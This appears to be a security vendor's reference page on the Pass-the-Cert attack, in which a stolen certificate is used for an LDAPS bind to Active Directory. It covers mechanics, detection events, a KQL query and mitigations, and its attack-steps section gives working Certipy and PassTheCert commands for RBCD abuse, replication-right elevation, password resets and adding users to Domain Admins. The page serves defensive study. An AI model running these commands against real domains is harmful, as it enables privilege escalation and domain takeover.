1. Resources
  2. Identity Threats
  3. Active Directory

Pass-the-Cert (Schannel LDAP Certificate Authentication)

Also known as: PassTheCert, Pass the Certificate over LDAPS, Schannel authentication abuse, LDAP certificate authentication

An attacker who holds a certificate and its private key for a domain account binds to LDAP over TLS as that account, without Kerberos PKINIT, and changes the directory with the account's rights.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
A client authentication certificate and its private key for a domain account, obtained through AD CS abuse, relay or theft, and network access to LDAPS or LDAP with StartTLS on a DC.
What the attacker gains
An authenticated LDAP session as the certificate's account: RBCD, DCSync rights, password resets, group changes or new computer accounts, depending on what that account may write.
Threat groups
AgriusAPT29APT3APT5Aquatic PandaBlackByteChimeraCinnamon TempestIndrik SpiderMagic HoundNaikonNIMBUS MANTICOREOilRigPlayand 8 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1550, T1649, T1078.002.

How it works

A certificate with the Client Authentication purpose can prove an identity in two different ways in Active Directory. The well-known one is PKINIT: the certificate is presented to the KDC for a TGT. The other is Schannel, the Windows TLS provider: the certificate is presented as a TLS client certificate to a service, and the service maps it to a Windows account.

The LDAP service on a domain controller supports the second way. A client that completes a TLS handshake with a client certificate, on port 636 or on port 389 after StartTLS, can be authenticated from the certificate alone: on 636 the connection is bound implicitly, and after StartTLS the client sends a SASL EXTERNAL bind. The domain controller maps the certificate to an account and builds a logon session for it. From then on every LDAP operation runs with that account's permissions.

Three properties make this useful to an attacker:

  • It works when PKINIT doesn't. PKINIT needs the domain controller to hold a certificate suitable for the KDC. Without one, the KDC rejects certificate pre-authentication with KDC_ERR_PADATA_TYPE_NOSUPP. Schannel only needs the LDAPS server certificate.
  • No ticket is requested by the client. There is no TGT request to look for. The domain controller itself performs the mapping, by default through the Kerberos S4U mechanism.
  • The private key is enough. No password, hash or ticket is involved, and the certificate stays valid when the account's password changes.

Pass-the-Cert doesn't create any right the account didn't have. A successful bind as an account without write permissions yields nothing but directory reads. The attack pays off when the certificate belongs to an account that can write something valuable: a computer account that can configure delegation on itself, an Exchange server, an account with rights over users or groups, or a domain controller.

How the certificate is mapped follows the Schannel CertificateMappingMethods setting. After the May 2022 updates the default is 0x18: the two S4U2Self based methods, which Microsoft classes as strong. The weaker methods (subject and issuer, issuer only, UPN) are off by default; where an administrator has turned the UPN method back on, Schannel becomes a way around the KDC's strong mapping checks, which is the Schannel case of ESC10.

Prerequisites

  • A certificate that allows client authentication and its private key, for a domain account. Typical sources: AD CS template abuse, NTLM relay to the CA's web enrollment, Certifried, or a certificate and key stolen from a host.
  • A domain controller with a working LDAPS service. StartTLS on port 389 depends on the same server certificate.
  • A certificate that the domain controller trusts and can map to the account.
  • Network access to TCP 636 or 389 on the domain controller.
  • For impact: write permissions held by the mapped account.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Split the PFX into certificate and key

PassTheCert's Python version takes the two parts as separate files. Certipy converts a PFX:

certipy cert -pfx srv01.pfx -nokey -out srv01.crt
certipy cert -pfx srv01.pfx -nocert -out srv01.key

2. Confirm the identity the domain controller maps the certificate to

python3 passthecert.py -action whoami -crt srv01.crt -key srv01.key -domain corp.example.com -dc-ip 192.0.2.10

Add -port 389 to use StartTLS on the LDAP port instead of LDAPS on 636.

3. Act on the directory

Which action makes sense depends on the account. A computer account can always write its own delegation attribute, so a certificate for SRV01$ leads to resource-based constrained delegation on SRV01:

# Create a computer account to delegate from (uses the machine account quota)
python3 passthecert.py -action add_computer -crt srv01.crt -key srv01.key -domain corp.example.com \
    -dc-ip 192.0.2.10 -computer-name 'WS99$' -computer-pass 'Winter2026!Lab'

# Allow WS99$ to impersonate users on SRV01
python3 passthecert.py -action write_rbcd -crt srv01.crt -key srv01.key -domain corp.example.com \
    -dc-ip 192.0.2.10 -delegate-to 'SRV01$' -delegate-from 'WS99$'

A certificate for an account that can change the domain object's ACL, such as an Exchange server in an older permission model, grants replication rights:

python3 passthecert.py -action modify_user -crt exch01.crt -key exch01.key -domain corp.example.com \
    -dc-ip 192.0.2.10 -target alice -elevate

A certificate for an account with rights over users resets a password, and the interactive shell covers group membership:

python3 passthecert.py -action modify_user -crt helpdesk.crt -key helpdesk.key -domain corp.example.com \
    -dc-ip 192.0.2.10 -target svc-sql -new-pass 'Winter2026!Lab'

python3 passthecert.py -action ldap-shell -crt helpdesk.crt -key helpdesk.key -domain corp.example.com -dc-ip 192.0.2.10
# add_user_to_group alice "Domain Admins"

Certipy opens the same kind of shell straight from the PFX:

certipy auth -pfx srv01.pfx -dc-ip 192.0.2.10 -ldap-shell

Windows

The C# version of PassTheCert takes the PFX directly:

.\PassTheCert.exe --server dc01.corp.example.com --cert-path C:\Temp\srv01.pfx --whoami

.\PassTheCert.exe --server dc01.corp.example.com --cert-path C:\Temp\srv01.pfx --rbcd `
    --target "CN=SRV01,CN=Computers,DC=corp,DC=example,DC=com" --sid S-1-5-21-0-0-0-1104

.\PassTheCert.exe --server dc01.corp.example.com --cert-path C:\Temp\exch01.pfx --elevate `
    --target "DC=corp,DC=example,DC=com" --sid S-1-5-21-0-0-0-1105

--start-tls switches to port 389. The --elevate and --rbcd actions save the previous attribute value to a file, and --restore puts it back.

4. Finish through the path that was opened

After write_rbcd, request a service ticket to SRV01 as an administrator with the new computer account. After -elevate, run DCSync as the elevated user.

Impact

The impact is whatever the mapped account can write through LDAP:

  • A computer account certificate gives control of that host through delegation.
  • A domain controller certificate, or one for an account with rights on the domain object, gives replication rights and with them the domain.
  • A certificate for an account operator or help desk identity gives password resets and group changes.

It also defeats two common assumptions: that a stolen certificate is harmless where PKINIT isn't configured, and that changing an account's password ends an attacker's access. The certificate keeps working until it expires or is revoked and the revocation is checked.

OPSEC and artifacts

  • No client Kerberos traffic. The operator's host sends only TLS to the domain controller. There is no AS-REQ from the attacker's address, so event 4768 for the account isn't written on their behalf.
  • A logon is still recorded. The domain controller writes event 4624, a network logon for the mapped account with the client's address. It doesn't identify the certificate.
  • StartTLS on 389 blends into ordinary LDAP traffic and avoids network rules that watch port 636. The TLS handshake with a client certificate is visible to a sensor that inspects LDAP.
  • Directory writes are the real trace. Each change is a normal, replicated modification: event 5136 for msDS-AllowedToActOnBehalfOfOtherIdentity or nTSecurityDescriptor where directory change auditing and a SACL exist, event 4741 for a new computer account, 4724 for a password reset, 4728 or 4756 for group changes. The subject is the mapped account, with the logon ID of the 4624 above.
  • Restore files. PassTheCert's C# version writes the old attribute value to a file in the working directory. Operators who restore the attribute leave a second 5136 pair.
  • The certificate's origin. The CA recorded its issuance (event 4887 and the CA database), which is where an investigation ties the session to a certificate.

Detection

The bind itself looks like normal authentication, so detection works on what surrounds it.

  • Results of the session. The RBCD rules, the DACL change rules and the computer account creation rules fire on the changes PassTheCert makes, whatever authentication was used.
  • A machine or service account writing to the directory from an address that isn't its host. Join event 4624 on the domain controller to event 5136 by logon ID on the same domain controller.
  • A logon with no ticket behind it. A network logon for an account on a domain controller with no TGT request by that account in the preceding hours is consistent with Schannel, though not specific to it.
  • Where the certificate came from. Issuance of client authentication certificates to privileged or machine identities, and the weak certificate mapping rules for certificates that map without a strong binding.
// Directory changes on a DC joined to the logon session that made them
let Logons = WindowsEvent
    | where Channel == "Security" and EventID == 4624
    | extend LogonId = tostring(EventData.TargetLogonId), Account = tostring(EventData.TargetUserName),
             Client = tostring(EventData.IpAddress), Package = tostring(EventData.AuthenticationPackageName)
    | project Computer, LogonId, Account, Client, Package;
WindowsEvent
| where Channel == "Security" and EventID == 5136
| extend LogonId = tostring(EventData.SubjectLogonId),
         Attribute = tostring(EventData.AttributeLDAPDisplayName),
         Object = tostring(EventData.ObjectDN)
| where Attribute in~ ("msDS-AllowedToActOnBehalfOfOtherIdentity", "nTSecurityDescriptor", "msDS-KeyCredentialLink", "servicePrincipalName")
| join kind=inner Logons on Computer, LogonId
| project TimeGenerated, Computer, Account, Client, Package, Attribute, Object

Logon IDs are local to one domain controller and one boot, so join only within the same computer and a short time window.

Mitigation

  • Control who can get authentication certificates. Pass-the-Cert starts with a certificate. Fix vulnerable templates and CA settings, protect web enrollment against relay, and keep enrollment rights on client authentication templates narrow.
  • Keep Schannel mapping at the strong default. Leave CertificateMappingMethods at 0x18 on domain controllers and don't re-enable UPN or subject mapping. Run the KDC in full enforcement of strong certificate mapping.
  • Shrink what machine and service accounts can write. Set the machine account quota to 0, remove broad write permissions from server and Exchange accounts, and protect privileged accounts from delegation.
  • Revoke and check revocation. Revoke certificates of compromised accounts, and make sure domain controllers can reach the CRL. A password reset doesn't invalidate a certificate.
  • Audit directory changes. Enable Audit Directory Service Changes with SACLs on the domain object, computers and privileged groups, following the audit policy guide.
  • Don't count on LDAP signing or channel binding here. They are still worth enforcing against relay, as the LDAP signing and channel binding guide explains, but they don't apply to a TLS client certificate bind.

Detection rules for this attack

Log events to collect

FAQ

How is Pass-the-Cert different from Pass-the-Certificate with PKINIT?

PKINIT uses the certificate to get a Kerberos TGT from the KDC, and from the TGT the attacker can get tickets and the account's NT hash. Pass-the-Cert uses the same certificate as a TLS client certificate towards the LDAP service of a domain controller. No TGT is requested. The attacker gets an LDAP session, which is enough to change the directory.

When do attackers use Pass-the-Cert?

When they have a certificate but PKINIT fails. The usual case is a domain whose domain controllers have no certificate suitable for smart card logon, so the KDC answers KDC_ERR_PADATA_TYPE_NOSUPP. LDAP over TLS only needs the domain controller to have a server certificate for LDAPS.

Do LDAP signing and channel binding stop Pass-the-Cert?

No. Those settings protect binds that use NTLM, Kerberos or simple authentication. With Schannel the authentication is the TLS handshake itself, so there is no separate bind to sign or to tie to the channel. The controls that matter are who can obtain certificates, strong certificate mapping and the write permissions of the mapped account.

How do you detect Pass-the-Cert?

There is no single event. The domain controller records a network logon (4624) for the mapped account and, with directory change auditing, event 5136 for each attribute the session writes. No TGT request precedes them. The practical detections are on the results: a new computer account, a delegation attribute, a changed ACL or a password reset made by an account from an unusual address.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.